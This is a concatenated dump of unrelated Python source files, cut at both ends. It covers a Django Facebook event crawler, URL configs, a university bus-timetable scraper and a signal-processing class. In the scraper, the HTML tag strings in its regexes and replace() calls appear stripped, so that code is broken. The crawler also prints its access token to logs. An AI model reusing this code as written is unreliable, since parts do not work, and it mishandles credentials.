%Y')\n cleaned_event['end_time_fr'] = cleaned_event['end_time'].strftime('%H:%M')\n if 'update_time' in event and event['update_time'] is not None:\n cleaned_event['updated_time'] = self.utc_tz.localize(datetime.fromtimestamp(event['update_time']))\n except Exception as e:\n Trigger.errors.append('DATETIME error: {error}'.format(error=e))\n try:\n if 'description' in event:\n cleaned_event['description'] = event['description']\n except Exception as e:\n Trigger.errors.append('DESCRIPTION error: {error}'.format(error=e))\n if 'ticket_uri' in event:\n cleaned_event['ticket_uri'] = event['ticket_uri']\n if 'privacy' in event and event['privacy'] is not None:\n cleaned_event['privacy'] = event['privacy']\n if 'venue' in event:\n if 'street' in event['venue']:\n cleaned_event['address'] = event['venue']['street']\n if 'zip' in event['venue']:\n cleaned_event['zipcode'] = event['venue']['zip']\n if 'country' in event['venue']:\n cleaned_event['country'] = event['venue']['country']\n if 'latitude' in event['venue']:\n cleaned_event['latitude'] = event['venue']['latitude']\n cleaned_event['longitude'] = event['venue']['longitude']\n if 'location' in event:\n cleaned_event['location'] = event['location']\n return cleaned_event\n\n @classmethod\n def get_event_picture(self, eid):\n request = urllib2.Request('https://graph.facebook.com/{eid}/picture?type=large'.format(eid=eid))\n response = urllib2.urlopen(request)\n return response.url\n\n @classmethod\n def get_len_event_to_register(self):\n inc = 0\n for city_pk, all_events in Trigger.events_to_register.iteritems():\n for wimetag_fb_id, events in all_events.iteritems():\n inc += len(events)\n return inc\n\n @classmethod\n def register(self):\n Debug.show('\\nStarting to register events...')\n if Debug.verbosity > 2:\n progress = ProgressBar(maxval=self.get_len_event_to_register(), widgets=[Percentage(), ' ', Bar(), ' ', ETA()])\n progress.start()\n inc = 0\n for city_pk, all_events in Trigger.events_to_register.iteritems():\n city = CityManager.cities[city_pk]\n for wimetag_pk, events in all_events.iteritems():\n for fb_id, event in events.iteritems():\n if self.is_already_registered(fb_id) is False:\n need_to_register = True\n Trigger.created_events += 1\n else:\n need_to_register = False\n need_to_update = False\n try:\n if self.need_to_update(fb_id, event['updated_time']):\n need_to_update = True\n Trigger.updated_events += 1\n else:\n need_to_update = False\n except Exception as e:\n Trigger.errors.append('DATETIME error [{date}]: {error}'.format(date=event['updated_time'], error=e))\n pass\n if need_to_register:\n try:\n registered_event = FacebookEvent.objects.create(\n fb_id=event['fb_id'],\n owner_id=event['owner_id'],\n owner_name=event['owner_name'],\n name=event['name'],\n description=event['description'],\n start_time=event['start_time'],\n start_time_fr=event['start_time_fr'],\n start_date_fr=event['start_date_fr'],\n end_time=event['end_time'],\n end_time_fr=event['end_time_fr'],\n end_date_fr=event['end_date_fr'],\n updated_time=event['updated_time'],\n address=event['address'],\n zipcode=event['zipcode'],\n city=city,\n country=event['country'],\n location=event['location'],\n latitude=str(event['latitude']),\n longitude=str(event['longitude']),\n privacy=event['privacy'],\n picture=event['picture'],\n ticket_uri=event['ticket_uri'],\n )\n registered_event.wimetags.add(Wimetag.get_by_pk(pk=wimetag_pk))\n self.events[registered_event.pk] = registered_event\n except Exception as e:\n Trigger.errors.append('EVENT CREATE error [{id}]: {error}'.format(id=event['fb_id'], error=e))\n connection._rollback()\n elif need_to_update:\n try:\n updated_event = FacebookEvent.objects.get(fb_id=event['fb_id'])\n updated_event.owner_id = event['owner_id']\n updated_event.owner_name = event['owner_name']\n updated_event.name = event['name']\n updated_event.description = event['description']\n updated_event.start_time = event['start_time']\n updated_event.start_time_fr = event['start_time_fr']\n updated_event.start_date_fr = event['start_date_fr']\n updated_event.end_time = event['end_time']\n updated_event.end_time_fr = event['end_time_fr']\n updated_event.end_date_fr = event['end_date_fr']\n updated_event.updated_time = event['updated_time']\n updated_event.address = event['address']\n updated_event.zipcode = event['zipcode']\n updated_event.city = city\n updated_event.country = event['country']\n updated_event.latitude = str(event['latitude'])\n updated_event.longitude = str(event['longitude'])\n updated_event.privacy = event['privacy']\n updated_event.picture = event['picture']\n updated_event.ticket_uri = event['ticket_uri']\n if wimetag_pk not in [w['id'] for w in updated_event.wimetags.values()]:\n updated_event.wimetags.add(Wimetag.get_by_pk(pk=wimetag_pk))\n updated_event.save()\n except Exception as e:\n Trigger.errors.append('EVENT UPDATE error [{id}]: {error}'.format(id=event['fb_id'], error=e))\n connection._rollback()\n inc += 1\n if Debug.verbosity > 2:\n progress.update(inc)\n if Debug.verbosity > 2:\n progress.finish()\n\n @classmethod\n def is_already_registered(self, fb_id):\n return fb_id in self.events\n\n @classmethod\n def need_to_update(self, eid, updated_time):\n return updated_time > self.events[eid].updated_time\n\n\nclass UserManager(object):\n\n users = {}\n\n @classmethod\n def get_user_name(self, user_id):\n if user_id not in self.users:\n user = Trigger.graph.fql(\n 'SELECT username, name FROM user WHERE uid={user_id}'.format(user_id=user_id)\n )\n if 'data' in user and len(user['data']) > 0:\n if user['data'][0]['username'] != '':\n self.users[user_id] = user['data'][0]['username']\n elif user['data'][0]['name'] != '':\n self.users[user_id] = user['data'][0]['name']\n else:\n page_user = Trigger.graph.fql(\n 'SELECT username, name FROM page WHERE page_id={user_id}'.format(user_id=user_id)\n )\n if 'data' in page_user and len(page_user['data']) > 0:\n if page_user['data'][0]['username'] != '':\n self.users[user_id] = page_user['data'][0]['username']\n elif page_user['data'][0]['name'] != '':\n self.users[user_id] = page_user['data'][0]['name']\n else:\n application = Trigger.graph.fql(\n 'SELECT namespace from application where app_id={user_id}'.format(user_id=user_id)\n )\n if 'data' in application and len(application['data']) > 0:\n self.users[user_id] = application['data'][0]['namespace']\n else:\n Trigger.errors.append('{user_id} USER error : user not found !'.format(user_id=user_id))\n return self.users[user_id] or None\n\n\nclass Command(BaseCommand):\n\n help = 'Manage the facebook crawler'\n start_time = None\n\n def init(self):\n self.start_time = datetime.now()\n Debug.show('____')\n Debug.show('[[ {start} ]]'.format(start=self.start_time.strftime('%A %d %B %Y %H:%M')))\n if City.objects.filter(active=True).count() > 0:\n if Wimetag.objects.filter(active=True).count() > 0:\n Debug.show('Launching facebook crawler...')\n self.refresh_access_token()\n Trigger.graph = GraphAPI(FACEBOOK_ACCESS_TOKEN)\n try:\n me = Trigger.graph.get('me')\n Debug.show('Connected to GraphAPI with account : {account}'.format(account=me['name']))\n except Exception:\n raise Exception('Invalid access_token : {access_token}'.format(access_token=FACEBOOK_ACCESS_TOKEN))\n\n CityManager.load_cities()\n WimetagManager.load_wimetags()\n EventManager.load_events()\n PlaceManager.load_places()\n PageManager.load_pages()\n\n return True\n else:\n Trigger.errors.append('keyword error : There is no keyword to search with...')\n return False\n else:\n Trigger.errors.append('city error : There is no city to explore...')\n return False\n\n def refresh_access_token(self):\n Debug.show('Checking long lifed access token...')\n response = GraphAPI().get(\n path='oauth/access_token',\n client_id=FACEBOOK_APP_ID,\n client_secret=FACEBOOK_API_SECRET,\n grant_type='fb_exchange_token',\n fb_exchange_token=FACEBOOK_ACCESS_TOKEN\n )\n components = parse_qs(response)\n token = components['access_token'][0]\n expires_at = datetime.now() + timedelta(seconds=int(components['expires'][0]))\n if FACEBOOK_ACCESS_TOKEN == token:\n Debug.show('\\t⇨ No need to refresh it, expires at {expire_at}'.format(expires_at=expires_at))\n else:\n Debug.show('\\t\\t⇨ Long lifed access token refreshed :')\n Debug.show(token)\n Debug.show('\\t\\t⇨ Expires at : {expires_at}'.format(expires_at=expires_at))\n env_var_files = glob.glob(os.path.join(ENV_DIR, 'FACEBOOK_ACCESS_TOKEN'))\n access_token_file = open(env_var_files[0], 'w')\n access_token_file.write(token)\n access_token_file.close()\n return expires_at\n\n def display_results(self):\n Debug.show('\\n\\n▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼ ▼')\n Debug.show('Import finished.')\n Debug.show('It took {time} to :'.format(time=datetime.now() - self.start_time))\n Debug.show('\\t * Create {created} events and update {updated} ones.'.format(created=Trigger.created_events, updated=Trigger.updated_events))\n Debug.show('\\t * Create {created} places.'.format(created=Trigger.created_places))\n Debug.show('\\t * Create {created} pages.'.format(created=Trigger.created_pages))\n Debug.show('\\t * Create {created} wimetags.'.format(created=Trigger.created_categories))\n\n if len(Trigger.errors) > 0:\n Debug.show('- - - - - - - - - - - - - - - - - THERE IS SOME ERRORS - - - - - - - - - - - - - - - - -')\n for e in Trigger.errors:\n Debug.show(e)\n Debug.show('- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -')\n\n def notify_send(self, summary, body, expire_time=5000, urgency='normal'):\n try:\n subprocess.call(['notify-send', summary, body,\n '--expire-time={0}'.format(expire_time),\n '--urgency={0}'.format(urgency)])\n except:\n pass\n\n def handle(self, *args, **options):\n Debug.verbosity = int(options['verbosity'])\n try:\n if self.init():\n arguments = {\n 'Debug': Debug,\n 'Graph': Trigger.graph,\n 'Trigger': Trigger,\n 'CityManager': CityManager,\n 'WimetagManager': WimetagManager,\n 'EventManager': EventManager,\n 'PlaceManager': PlaceManager,\n 'PageManager': PageManager,\n }\n call_command('import_by_cities', arguments=arguments)\n call_command('import_by_places', arguments=arguments)\n call_command('import_by_pages', arguments=arguments)\n\n if len(Trigger.categories_to_register) > 0:\n WimetagManager.register()\n else:\n Debug.show('\\nNo categories to register.')\n if len(Trigger.places_to_register) > 0:\n PlaceManager.register()\n else:\n Debug.show('\\nNo places to register.')\n if len(Trigger.pages_to_register) > 0:\n PageManager.register()\n else:\n Debug.show('\\nNo pages to register.')\n if EventManager.get_len_event_to_register() > 0:\n EventManager.register()\n else:\n Debug.show('\\nNo events to register.')\n except KeyboardInterrupt:\n pass\n self.display_results()\n if Debug.verbosity > 2:\n self.notify_send('Wime', 'The Facebook crawler has finished !')\n quit()\n","sub_path":"wime/apps/agenda/management/commands/facebook_crawler_trigger.py","file_name":"facebook_crawler_trigger.py","file_ext":"py","file_size_in_byte":29207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"507719287","text":"\"\"\"architect URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom rest_framework import permissions\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\n\nadmin.autodiscover()\nadmin.site.enable_nav_sidebar = False\n\n\n\nschema_view = get_schema_view(\n openapi.Info(\n title=\"My Architecture Site API\",\n default_version=\"v1\",\n description=\"A sample API for working with Architecture Site\",\n terms_of_service=\"https://www.google.com/policies/terms/\",\n contact=openapi.Contact(email=\"kostia.lagoda@gmail.com\"),\n license=openapi.License(name=\"BSD License\"),\n ),\n public=True,\n permission_classes=(permissions.AllowAny,),\n)\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path(\"architecture/\", include(\"arch_works.urls\")),\n path(\"my_works/\", include(\"my_works.urls\")),\n path(\"blog/\", include(\"blog.urls\")),\n path(\"contacts/\", include(\"contact.urls\")),\n path(\"news/\", include(\"news.urls\")),\n path('api/v1/', include('api.urls')),\n path('api-auth/', include('rest_framework.urls')),\n path('api/v1/dj-rest-auth/', include('dj_rest_auth.urls')),\n path('api/v1/dj-rest-auth/registration/', include('dj_rest_auth.registration.urls')),\n path('ckeditor/', include('ckeditor_uploader.urls')),\n # Documentation(Swagger/Redoc)\n path('api-swagger/', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger'),\n path('api-redoc/', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)","sub_path":"architect/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"327734193","text":"from django.conf.urls import *\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.post_list, name='post_list'),\n url(r'^post_detail/(?P[0-9]+)/$', views.post_detail, name='post_detail'),\n url(r'^post_new/$', views.post_new, name='post_new'),\n url(r'^post_revise/(?P[0-9]+)/$', views.post_revise, name='post_revise'),\n url(r'^post_draft_list/$', views.post_draft_list, name='post_draft_list'),\n url(r'^post_write_draft/$', views.post_write_draft, name='post_write_draft'),\n url(r'^post_draft/(?P[0-9]+)/$', views.post_draft, name='post_draft'),\n url(r'post_draft_revise/(?P[0-9]+)/$', views.post_draft_revise, name='post_draft_revise'),\n url(r'^post_draft_publish/(?P[0-9]+)/$', views.post_draft_publish, name='post_draft_publish'),\n url(r'^remove/(?P[0-9]+)/$', views.post_and_draft_remove, name='post_and_draft_remove'),\n url(r'^Logout/$', views.Logout, name='Logout'),\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"93685953","text":"import os\n\n\nclass PatternsToIgnore:\n def __init__(self):\n self.patterns_to_ignore = []\n self.read_patterns_to_ignore()\n\n def read_patterns_to_ignore(self):\n self.read_lines_from_txt(\"node-ignore.txt\")\n self.read_lines_from_txt(\"python-ignore.txt\")\n\n self.read_lines_from_txt(\"linux-ignore.txt\")\n self.read_lines_from_txt(\"windows-ignore.txt\")\n\n self.add_custom_patterns_to_ignore()\n\n def read_lines_from_txt(self, path):\n current_folder = os.path.dirname(os.path.abspath(__file__))\n path_file = os.path.join(current_folder, path)\n\n with open(path_file, \"r\") as fp:\n line = fp.readline()\n\n while line:\n if not self.is_line_to_ignore(line):\n line_formatted = line.strip().replace(\"/\", f\"{os.sep}\")\n\n index_last = line_formatted.rfind(f\"{os.sep}\")\n if index_last != -1:\n line_formatted = line_formatted[:index_last]\n\n line_formatted = f\"{os.sep}{line_formatted}\"\n\n if len(line_formatted) > 1:\n self.patterns_to_ignore.append(line_formatted)\n\n line = fp.readline()\n\n def add_custom_patterns_to_ignore(self):\n self.patterns_to_ignore.extend([\n f\"{os.sep}.git\",\n f\"{os.sep}.idea\",\n f\"{os.sep}__MACOSX\"\n ])\n\n @staticmethod\n def is_line_to_ignore(line):\n return (line.strip().startswith(\"#\") or line.strip() == \"\"\n or line.find(\"*\") != -1)\n\n def is_path_to_ignore(self, path):\n for pattern in self.patterns_to_ignore:\n if path.find(pattern) != -1:\n return True\n\n return False\n","sub_path":"common/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"316136093","text":"import datetime\nimport time\n\n\nclass Helper:\n @staticmethod\n def get_background_class():\n hours = datetime.datetime.now().hour\n if hours >= 19 or hours < 7:\n return 'night'\n elif 7 <= hours < 17:\n return 'day'\n else:\n return 'dusk'\n\n @staticmethod\n def get_datetime_str():\n return time.strftime('%Y/%m/%d %H:%M:%S',time.localtime(time.time()))\n\n # 获取排除指定参数的GET请求URL,如果个数超过1,末尾自动加&\n @staticmethod\n def get_GETS_except(request, property):\n GETS = {}\n # 转存GET请求的参数,跳过指定参数\n for key in request.GET:\n if key == property:\n continue\n GETS[key] = request.GET[key]\n result = '?' + '&'.join([str(key)+'='+str(GETS[key]) for key in GETS]) + '&'\n return result if len(GETS) > 0 else '?'","sub_path":"utils/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"289607195","text":"# -*- coding: utf-8 -*-\nimport time, urllib2, httplib, re\n\nurl = 'https://www.cse.dendai.ac.jp/campus/access/bus_school.html'\n\n\ndef getBusTimetable(html): # 全体のバス時刻表(5種類:平日の大学行,平日の大学発,土曜,休業中平日,土曜日(8月))を取得\n timetables = re.compile('
[\\d\\D]+?').findall(html)\n return timetables\n\n\ndef getBusComeTime_01(timetable, name):\n tableDic = {}\n tableDic['tableName'] = name\n\n # 1時間ごとに区切る\n times = re.compile('[\\d\\D]+?').findall(timetable)\n\n # バスの種類\n tableType = re.sub('<[^>]*?>', '', times.pop(0)).strip()\n tableDic['busType'] = tableType\n\n # バスがどこからでるのかorどこにいくのか\n route = re.sub('<[^>]*?>', '', times.pop(0)).strip().split(u'\\r\\n')\n\n # 作業用2次元リスト\n dump = [[] for i in range(len(route))]\n\n for time in times:\n time = time.replace(u'', '').replace(u'', '').split(u'\\r\\n')\n while 0 < time.count(''):\n time.remove('')\n\n # 時間をpop\n hour = time.pop(0).replace(u'', '').replace(u'', '')\n\n # 出発地別に見る\n for index in range(len(time)):\n if time[index] != u'':\n minute = time[index].replace(u'', '').replace(u'', '')\n minute = minute.split(u',')\n if type(minute) == list:\n for jndex in range(len(minute)):\n minute[jndex] = u':'.join((hour, minute[jndex]))\n else:\n minute = u':'.join((hour, minute))\n dump[index].extend(minute)\n for i in range(len(route)):\n tableDic[route[i]] = dump[i]\n '''\n for i, j in enumerate(dump):\n tableDic[route[i]] = map(str, j)\n print(route[i])\n print(tableDic[route[i]])\n '''\n return tableDic\n\n\ndef getBusComeTime_234(timetable, name):\n tableDic = {}\n tableDic['tableName'] = name\n\n # 1時間ごとに区切る\n times = re.compile('[\\d\\D]+?').findall(timetable)\n\n # バスの種類\n tableType = re.sub('<[^>]*?>', '', times.pop(0)).strip().split(u'\\r\\n')\n tableDic['busType'] = tableType\n\n # バスがどこからでるのかorどこにいくのか\n route = re.sub('<[^>]*?>', '', times.pop(0)).strip().split(u'\\r\\n')\n route.remove('')\n\n # 作業用2次元リスト\n dump = [[] for i in range(len(route))]\n\n for time in times:\n time = time.replace(u'', '').replace(u'', '').split(u'\\r\\n')\n while time.count('') != 0:\n time.remove('')\n\n # 時刻を取得\n hour = time.pop(0) # 時刻をpop\n time.remove(hour) # 複数個あるので削除\n hour = hour.replace(u'', '').replace(u'', '')\n\n # 例外処理\n if len(time) == 7:\n time.pop(5)\n\n # 出発地別に見る\n for index in range(len(time)):\n if time[index] != u'':\n minute = time[index].replace(u'', '').replace(u'', '')\n minute = minute.split(u',')\n if type(minute) == list:\n for jndex in range(len(minute)):\n minute[jndex] = u':'.join((hour, minute[jndex]))\n else:\n minute = u':'.join((hour, minute))\n dump[index].extend(minute)\n for i in range(len(route)):\n tableDic[route[i]] = dump[i]\n '''\n for i, j in enumerate(dump):\n tableDic[route[i]] = map(str, j)\n print(route[i])\n print(tableDic[route[i]])\n '''\n return tableDic\n\n\n# HTMLを取得する\ndef gethtml(url): # URL文字列を引数にして,HTMLを取得して返す関数\n time.sleep(1) # アクセス制限対策として引数秒待機する(ミリ秒ではない)\n try:\n return urllib2.urlopen(url).read()\n except httplib.BadStatusLine: # エラーコードが現れたら\n time.sleep(10) # 10秒待機\n return gethtml(url) # 再帰する\n\n\ndef syori():\n html = unicode(gethtml(url), 'shift_jis')\n html = html.replace(u'\t', '')\n html = html.replace(u'*', '')\n html = html.replace(u' ', '')\n html = html.replace(u' ', ',')\n html = html.replace(u'

', '')\n html = html.replace(u'

', '')\n\n timetable = getBusTimetable(html)\n namelits = [u'講義期間中大学行平日', u'講義期間中大学発平日', u'講義期間中土曜', u'休業中平日', u'休業中土曜']\n dics = []\n dics.append(getBusComeTime_01(timetable[0], namelits[0])) # 講義期間中大学行平日\n dics.append(getBusComeTime_01(timetable[1], namelits[1])) # 講義期間中大学発平日\n dics.append(getBusComeTime_234(timetable[2], namelits[2])) # 講義期間中土曜\n dics.append(getBusComeTime_234(timetable[3], namelits[3])) # 休業中平日\n dics.append(getBusComeTime_234(timetable[4], namelits[4])) # 休業中土曜\n\n import json, codecs\n # JSONファイル書き込み\n\n for i, dic in enumerate(dics):\n f = codecs.open('.'.join((namelits[i], 'json')), 'w', 'utf-8')\n json.dump(dic, f, sort_keys=True, indent=4, ensure_ascii=False)\n\n\nif __name__ == '__main__':\n syori()\n pass","sub_path":"python/miscellaneous/tdu_bus/getSchoolBusTime.py","file_name":"getSchoolBusTime.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"287235645","text":"# Delete a node from a singly-linked list, ↴ given only a variable pointing to that node.\n\n# My Attempt\n\nclass LinkedListNode(object):\n\n def __init__(self, value):\n self.value = value\n self.next = None\n\n def delete_node(item):\n current = self.value\n\n while current.next:\n if current.next == item:\n current.next = current.next.next\n current = current.next\n\n\n# IC Solution\n\ndef delete_node(node_to_delete):\n\n # Delete the input node from the linked list\n \n next_node = node_to_delete.next\n\n if next_node:\n node_to_delete.value = next_node.value\n node_to_delete.next = next_node.next\n else:\n raise Exception(\"Can't delete the last node with this technique\")\n\n","sub_path":"8-linked-lists/delete-node.py","file_name":"delete-node.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"124129810","text":"from ext.shell.lib.base_test import BaseTestCase\nfrom ext.core.lib.rest_auth import ssl_required, test_only\n\n\nclass LibTestCase(BaseTestCase):\n \"\"\"It tests the core functionality.\"\"\"\n\n def test_lib(self):\n\n @self.app.route('/test_ssl_required_route/')\n @ssl_required\n def ssl_required_route():\n return 'text'\n\n @self.app.route('/test_only_route/')\n @test_only\n def test_only_route():\n return 'text'\n\n with self.app.test_client() as client:\n # It tests SSL.\n self.app.config['SSL'] = True\n response = client.get('/test_ssl_required_route/')\n assert response.status_code == 302\n self.app.config['SSL'] = False\n response = client.get('/test_ssl_required_route/')\n assert response.status_code == 200\n\n # It tests the decorator - test_only.\n self.app.config['TESTING'] = False\n response = client.get('/test_only_route/')\n assert response.status_code == 403\n\n self.app.config['TESTING'] = True\n response = client.get('/test_only_route/')\n assert response.status_code == 200\n","sub_path":"flask/ext/core/test/test_lib.py","file_name":"test_lib.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"146943831","text":"\"\"\"\nModule containing classes for digital signal processing.\n\nAll classes in this module hold time-domain information about some signals,\nand have methods for manipulating this data as it relates to digital signal\nprocessing and general physics.\n\n\"\"\"\n\nfrom enum import Enum\nimport logging\nimport numpy as np\nimport scipy.signal\nimport scipy.fftpack\nfrom pyrex.internal_functions import get_from_enum\n\nlogger = logging.getLogger(__name__)\n\n\nclass Signal:\n \"\"\"\n Base class for time-domain signals.\n\n Stores the time-domain information for signal values. Supports adding\n between signals with the same times array and value type.\n\n Parameters\n ----------\n times : array_like\n 1D array of times (s) for which the signal is defined.\n values : array_like\n 1D array of values of the signal corresponding to the given `times`.\n Will be resized to the size of `times` by zero-padding or truncating\n as necessary.\n value_type : optional\n Type of signal, representing the units of the values. Values should be\n from the ``Signal.Type`` enum, but integer or string values may\n work if carefully chosen. ``Signal.Type.undefined`` by default.\n\n Attributes\n ----------\n times, values : ndarray\n 1D arrays of times (s) and corresponding values which define the signal.\n value_type : Signal.Type\n Type of signal, representing the units of the values.\n Type : Enum\n Different value types available for `value_type` of signal objects.\n dt\n frequencies\n spectrum\n envelope\n\n \"\"\"\n class Type(Enum):\n \"\"\"\n Enum containing possible types (units) for signal values.\n\n Attributes\n ----------\n voltage\n field\n power\n unknown, undefined\n\n \"\"\"\n undefined = 0\n unknown = 0\n voltage = 1\n field = 2\n power = 3\n\n def __init__(self, times, values, value_type=None):\n self.times = np.array(times)\n len_diff = len(times)-len(values)\n if len_diff>0:\n self.values = np.concatenate((values, np.zeros(len_diff)))\n else:\n self.values = np.array(values[:len(times)])\n self.value_type = value_type\n\n def __add__(self, other):\n \"\"\"\n Adds two signals by adding their values at each time.\n\n Adding ``Signal`` objects is only allowed when they have identical\n ``times`` arrays, and their ``value_type``s are compatible. This means\n that the ``value_type``s must be the same, or one must be ``undefined``\n which will be coerced to the other ``value_type``.\n\n Raises\n ------\n ValueError\n If the other ``Signal`` has different ``times`` or ``value_type``.\n\n \"\"\"\n if not isinstance(other, Signal):\n return NotImplemented\n if not np.array_equal(self.times, other.times):\n raise ValueError(\"Can't add signals with different times\")\n if (self.value_type!=self.Type.undefined and\n other.value_type!=self.Type.undefined and\n self.value_type!=other.value_type):\n raise ValueError(\"Can't add signals with different value types\")\n\n if self.value_type==self.Type.undefined:\n value_type = other.value_type\n else:\n value_type = self.value_type\n\n return Signal(self.times, self.values+other.values,\n value_type=value_type)\n\n def __radd__(self, other):\n \"\"\"\n Allows for adding Signal object to 0.\n\n Since the python ``sum`` function starts by adding the first element\n to 0, to use ``sum`` with ``Signal`` objects we need to be able to add\n a ``Signal`` object to 0. If adding to anything else, raise the usual\n error.\n\n \"\"\"\n if other==0:\n return self\n else:\n return NotImplemented\n\n def __mul__(self, other):\n \"\"\"Multiply signal values at all times by some value.\"\"\"\n try:\n return Signal(self.times, self.values * other,\n value_type=self.value_type)\n except TypeError:\n return NotImplemented\n\n def __rmul__(self, other):\n \"\"\"Multiply signal values at all times by some value.\"\"\"\n try:\n return Signal(self.times, other * self.values,\n value_type=self.value_type)\n except TypeError:\n return NotImplemented\n\n def __imul__(self, other):\n \"\"\"Multiply signal values at all times by some value in-place.\"\"\"\n try:\n self.values *= other\n except TypeError:\n return NotImplemented\n return self\n\n def __truediv__(self, other):\n \"\"\"Divide signal values at all times by some value.\"\"\"\n try:\n return Signal(self.times, self.values / other,\n value_type=self.value_type)\n except TypeError:\n return NotImplemented\n\n def __itruediv__(self, other):\n \"\"\"Divide signal values at all times by some value in-place.\"\"\"\n try:\n self.values /= other\n except TypeError:\n return NotImplemented\n return self\n\n @property\n def value_type(self):\n \"\"\"\n Type of signal, representing the units of the values.\n\n Should always be a value from the ``Signal.Type`` enum. Setting with\n integer or string values may work if carefully chosen.\n\n \"\"\"\n return self._value_type\n\n @value_type.setter\n def value_type(self, val_type):\n if val_type is None:\n self._value_type = self.Type.undefined\n else:\n self._value_type = get_from_enum(val_type, self.Type)\n\n @property\n def dt(self):\n \"\"\"The time spacing of the `times` array, or ``None`` if invalid.\"\"\"\n try:\n return self.times[1]-self.times[0]\n except IndexError:\n return None\n\n @property\n def envelope(self):\n \"\"\"The envelope of the signal by Hilbert transform.\"\"\"\n analytic_signal = scipy.signal.hilbert(self.values)\n return np.abs(analytic_signal)\n\n def resample(self, n):\n \"\"\"\n Resamples the signal into n points in the same time range, in-place.\n\n Parameters\n ----------\n n : int\n The number of points into which the signal should be resampled.\n\n \"\"\"\n if n==len(self.times):\n return\n\n self.times = np.linspace(self.times[0], self.times[-1], n)\n self.values = scipy.signal.resample(self.values, n)\n\n def with_times(self, new_times):\n \"\"\"\n Returns a representation of this signal over a different times array.\n\n Parameters\n ----------\n new_times : array_like\n 1D array of times (s) for which to define the new signal.\n\n Returns\n -------\n Signal\n A representation of the original signal over the `new_times` array.\n\n Notes\n -----\n Interpolates the values of the ``Signal`` object across `new_times`,\n extrapolating with zero values on the left and right.\n\n \"\"\"\n new_values = np.interp(new_times, self.times, self.values,\n left=0, right=0)\n return Signal(new_times, new_values, value_type=self.value_type)\n\n\n @property\n def spectrum(self):\n \"\"\"The FFT complex spectrum values of the signal.\"\"\"\n return scipy.fftpack.fft(self.values)\n\n @property\n def frequencies(self):\n \"\"\"The FFT frequencies of the signal.\"\"\"\n return scipy.fftpack.fftfreq(n=len(self.values), d=self.dt)\n\n def filter_frequencies(self, freq_response, force_real=False):\n \"\"\"\n Apply the given frequency response function to the signal, in-place.\n\n For the given response function, multiplies the response into the\n frequency domain of the signal. If the filtered signal is forced to be\n real, the positive-frequency response is mirrored into the negative\n frequencies by complex conjugation.\n\n Parameters\n ----------\n freq_response : function\n Response function taking a frequency (or array of frequencies) and\n returning the corresponding complex gain(s).\n force_real : boolean, optional\n If ``True``, complex conjugation is used on the positive-frequency\n response to force the filtered signal to be real-valued. Otherwise\n the frequency response is left alone and any imaginary parts of the\n filtered signal are thrown out.\n\n Warns\n -----\n Raises a warning if the maximum value of the imaginary part of the\n filtered signal was greater than 1e-5 times the maximum value of the\n real part, indicating that there was significant signal lost when\n discarding the imaginary part.\n\n \"\"\"\n # Zero-pad the signal so the filter doesn't cause the resulting\n # signal to wrap around the end of the time array\n vals = np.concatenate((self.values, np.zeros(len(self.values))))\n spectrum = scipy.fftpack.fft(vals)\n freqs = scipy.fftpack.fftfreq(n=2*len(self.values), d=self.dt)\n if force_real:\n true_freqs = np.array(freqs)\n freqs = np.abs(freqs)\n\n # Attempt to evaluate all responses in one function call\n try:\n responses = np.array(freq_response(freqs), dtype=np.complex_)\n # Otherwise evaluate responses one at a time\n except (TypeError, ValueError):\n logger.debug(\"Frequency response function %r could not be \"+\n \"evaluated for multiple frequencies at once\",\n freq_response)\n responses = np.zeros(len(spectrum), dtype=np.complex_)\n for i, f in enumerate(freqs):\n responses[i] = freq_response(f)\n\n # To make the filtered signal real, mirror the positive frequency\n # response into the negative frequencies, making the real part even\n # (done above) and the imaginary part odd (below)\n if force_real:\n responses.imag[true_freqs<0] *= -1\n\n filtered_vals = scipy.fftpack.ifft(responses*spectrum)\n self.values = np.real(filtered_vals[:len(self.times)])\n\n # Issue a warning if there was significant signal in the (discarded)\n # imaginary part of the filtered values\n if np.any(np.abs(np.imag(filtered_vals[:len(self.times)])) >\n 